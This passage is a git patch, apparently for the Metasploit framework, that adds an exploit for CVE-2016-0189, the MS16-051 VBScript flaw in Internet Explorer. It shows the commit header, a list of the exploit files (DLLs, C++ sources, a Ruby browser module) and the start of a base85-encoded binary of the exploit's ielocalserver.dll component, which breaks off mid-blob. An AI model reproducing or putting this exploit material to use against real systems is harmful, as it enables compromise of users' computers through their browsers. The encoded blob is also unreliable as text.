From 21e6211e8dbcadb8d3c95e06dd604d6c1e6dff00 Mon Sep 17 00:00:00 2001 From: William Webb Date: Mon, 1 Aug 2016 13:26:35 -0500 Subject: [PATCH] add exploit for cve-2016-0189 --- data/exploits/cve-2016-0189/ielocalserver.dll | Bin 0 -> 75264 bytes data/exploits/cve-2016-0189/ieshell32.dll | Bin 0 -> 69632 bytes .../exploits/cve-2016-0189/ielocalserver.cpp | 183 +++++++ .../exploits/cve-2016-0189/ieshell32.cpp | 39 ++ .../windows/browser/ms16_051_vbscript.rb | 494 ++++++++++++++++++ 5 files changed, 716 insertions(+) create mode 100644 data/exploits/cve-2016-0189/ielocalserver.dll create mode 100644 data/exploits/cve-2016-0189/ieshell32.dll create mode 100644 external/source/exploits/cve-2016-0189/ielocalserver.cpp create mode 100644 external/source/exploits/cve-2016-0189/ieshell32.cpp create mode 100644 modules/exploits/windows/browser/ms16_051_vbscript.rb diff --git a/data/exploits/cve-2016-0189/ielocalserver.dll b/data/exploits/cve-2016-0189/ielocalserver.dll new file mode 100644 index 0000000000000000000000000000000000000000..4993989f32027e31e8dc9d924f40ad870f2ef778 GIT binary patch literal 75264 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 